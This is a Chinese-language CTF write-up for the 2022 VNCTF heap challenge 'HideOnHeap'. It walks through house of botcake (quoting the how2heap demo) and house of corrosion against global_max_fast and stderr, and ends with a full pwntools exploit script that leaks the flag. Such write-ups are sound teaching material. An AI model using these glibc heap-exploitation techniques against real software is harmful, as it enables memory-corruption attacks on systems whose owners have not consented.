vnctf HideOnHeap"/>
2022 vnctf HideOnHeap
更多的是跟着官方的wp做一个详细的学习。
全开
上来直接把flag读到了第一个chunk中
add
bss的数组上能写堆地址跟堆块
堆块数量大小都有所限制
edit
正常edit
delete
显然是有double free
但是把size数组清空了。
前面的edit就根据size来,size清空之后我们显然就没了什么办法。
这里就要介绍第一个工具
house of botcake
这是完整版damo
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>int main()
{/** This attack should bypass the restriction introduced in* /?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d* If the libc does not include the restriction, you can simply double free the victim and do a* simple tcache poisoning* And thanks to @anton00b and @subwire for the weird name of this technique */// disable buffering so _IO_FILE does not interfere with our heapsetbuf(stdin, NULL);setbuf(stdout, NULL);// introductionputs("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");puts("returning a pointer to an arbitrary location (in this demo, the stack).");puts("This attack only relies on double free.\n");// prepare the targetintptr_t stack_var[4];puts("The address we want malloc() to return, namely,");printf("the target address is %p.\n\n", stack_var);// prepare heap layoutputs("Preparing heap layout");puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");intptr_t *x[7];for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){x[i] = malloc(0x100);}puts("Allocating a chunk for later consolidation");intptr_t *prev = malloc(0x100);puts("Allocating the victim chunk.");intptr_t *a = malloc(0x100);printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n");malloc(0x10);// cause chunk overlappingputs("Now we are able to cause chunk overlapping");puts("Step 1: fill up tcache list");for(int i=0; i<7; i++){free(x[i]);}puts("Step 2: free the victim chunk so it will be added to unsorted bin");free(a);puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");free(prev);puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");malloc(0x100);/*VULNERABILITY*/free(a);// a is already freed/*VULNERABILITY*/// simple tcache poisoningputs("Launch tcache poisoning");puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");intptr_t *b = malloc(0x120);puts("We simply overwrite victim's fwd pointer");b[0x120/8-2] = (long)stack_var;// take target outputs("Now we can cash out the target chunk.");malloc(0x100);intptr_t *c = malloc(0x100);printf("The new chunk is at %p\n", c);// sanity checkassert(c==stack_var);printf("Got control on target/stack!\n\n");// noteputs("Note:");puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");return 0;
}
它的作用可以把double free转换成uaf,更便于利用。
其实看起来还不是很直观,我们直接跟着动调一遍。
用的libc是libc-2.27.so
首先上来申请了10个chunk
我们假设他们是chunk1-10
第一步就是把tcache填满,把chunk1-7free掉
第二步
chunk9也被我们释放,将它扔进了unsorted bin, chunk9也是我们的victim chunk。所以chunk10的作用就是防止堆块合并而已。
第三步
把chunk8也释放掉,让他与chunk9合并。
第四步
malloc一下让tcache少一个
然后利用double free,让我们的chunk9也就是victim chunk double free一下。
第五步
申请一个大一些的chunk,在这里是0x120
它会去unsorted bin里面去申请chunk8 跟chunk9的结合体
但是chunk9又被放进了tcache
我们申请回来这个0x120的这个chunk之后就可以往tcache中投毒了。
下面这个是上面程序的简化版。
char *x[7];for(int i=0; i<7; i++){x[i] = malloc(0x100);
}char *a = malloc(0x100);
char *b = malloc(0x100);malloc(0x10);for(int i=0; i<7; i++){free(x[i]);
} free(b);
free(a);malloc(0x100);free(b); char* res = malloc(0x130);*(uint64_t*)(res+0x110) = (uint64_t)(&victim);malloc(0x100);char *target = malloc(0x100);
紧接着呢
还要学习一个姿势
house of corrosion
说白了就是系统的说了一下当我们能控制global_fast_max的时候我们如何合理的去利用它。
上来先申请了18个chunk
其中一半大小0x88, 一半0x3f0
chunk2和chunk13进行了布置
然后利用前面的九个0x90大小的chunk走了一下我们上面提到的house of botcake
但是这次的victim chunk变成了chunk 0 , chunk 1.
也就是释放了chunk1 0 然后申请了chunk0 ,让tcache有个位置之后double free chunk1.
接着为了后面的利用,这里不直接进行利用
而是选择这里把tcache清空掉。
然后申请一个比较大的chunk,这里进行overlap。
那么现在chunk0没啥事
chunk1是被overlap的chunk
chunk2-7没事
chunk8是大一些的将chunk1overlap的chunk
然后释放了chunk11-17
也就是那7个比较大的chunk
紧接着还是house of botcake的手法
但是最后没有选择去overlap
而是选择了让chunk18等于chunk10
然后同个两个循环
循环的每次首先释放掉有问题的chunk,然后通过覆写的手段,使其能不停的释放
躲开libc2.28及以上的指针检测
再次将chunk 1 chunk10释放
他们就会进入unsorted bin
然后tcache里面就会直接有地址
然后将已经进入unsorted bin 的两个chunk分别瓜分掉
就是申请四个chunk再把他们申请回来
add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20
然后就直接去攻击global_max_fast跟stderr
首先把global_max_fast改大以后
利用那个覆写,直接改变chunk大小,进行free
就把chunk的值写在了相应位置
为什么要用这种手法
因为这个时候是不能再去申请很大chunk的,如果对应的地方有值,那就会报错
那么free的时候因为会检测下一个chunk,来看这个chunk是否合法。
所以我们刚开始提前edit了一下
这里就派上了用场
直接用house of corrosion把堆地址写在了_IO_2_1_stderr结构体里面了
然后再次攻击这个地方
那这个地方是干嘛的呢
我们把源码掏出来
struct malloc_state
{/* Serialize access. */mutex_t mutex;/* Flags (formerly in max_fast). */int flags;/* Fastbins */mfastbinptr fastbinsY[NFASTBINS];/* Base of the topmost chunk -- not otherwise kept in a bin */mchunkptr top;/* The remainder from the most recent split of a small request */mchunkptr last_remainder;/* Normal bins packed as described above */mchunkptr bins[NBINS * 2 - 2];/* Bitmap of bins */unsigned int binmap[BINMAPSIZE];/* Linked list */struct malloc_state *next;/* Linked list for free arenas. Access to this field is serializedby free_list_lock in arena.c. */struct malloc_state *next_free;/* Number of threads attached to this arena. 0 if the arena is onthe free list. Access to this field is serialized byfree_list_lock in arena.c. */INTERNAL_SIZE_T attached_threads;/* Memory allocated from the system in this arena. */INTERNAL_SIZE_T system_mem;INTERNAL_SIZE_T max_system_mem;
};
发现是topchunk的指针
然后攻击stderr
再把global_max_fast改回来
改global_max_fast的作用是方便一会报错。
攻击stderr的效果就是heap的base是write的base
导致报错的时候输出从heap的base开始
最后就能把我们的flag输出来。
当然我们的做法还可以进一步优化一下
因为最后攻击strerr的时候还面临着1/16的爆破
我们可以通过对堆块适当的调整来解决这个问题。
exp是对官方的exp做了小小的调整
# encoding: utf-8
from pwn import *context.log_level = "debug"sh = process("./HideOnHeap")def choice(idx):sh.sendlineafter("Choice:", str(idx))def add(size):choice(1)sh.sendlineafter("Size:", str(size))def edit(idx, content):choice(2)sh.sendlineafter("Index:", str(idx))sh.sendafter("Content:", str(content))def delete(idx):choice(3)sh.sendlineafter("Index:", str(idx))add(0x88) # prev 0
add(0x88) # 1for i in range(7):add(0x88) #2 - 8add(0x3F0) # 9
add(0x3F0) # 10for i in range(7):add(0x3F0) #11 - 17edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' *0x8 + p64(0x21))for i in range(2, 9):delete(i)delete(1)
delete(0)
add(0x88) #0
delete(1)for i in range(7):add(0x88) #1 - 7add(0x118) #8 overlapping 1for i in range(11, 18):delete(i)delete(10)
delete(9)
add(0x3F0) #9
delete(10)for i in range(7):add(0x3F0) #10-16add(0x3F0) #17
add(0x3F0) #18 == 10for i in range(7):delete(1)edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)for i in range(7):delete(10)edit(18, '\x00' * 0x10)delete(1)
delete(10)add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20edit(8, '\x00' * 0x88 + p64(0x91) + '\x40\xa9')
edit(18, '\x80\x96')gdb.attach(sh, "p/x &global_max_fast\np/x &_IO_2_1_stderr_\n")add(0x88) # 21 = 1
add(0x88) # 22 global_max_fastadd(0x3F0) # 23 = 10
add(0x3F0) # 24 stderredit(22, '\xFF' * 8) # change global_max_fastedit(8, '\x00' * 0x88 + p64(0x14C1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14D1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14E1))
delete(21)
#change main_arena->topfor i in range(8):edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)delete(21)edit(24, p64(0xfbad1800) + '\x00' * 0x19 + '\xf0')
edit(22, p64(0x80))
#gdb.attach(sh)add(0x300)sh.interactive()
更多推荐
2022 vnctf HideOnHeap
发布评论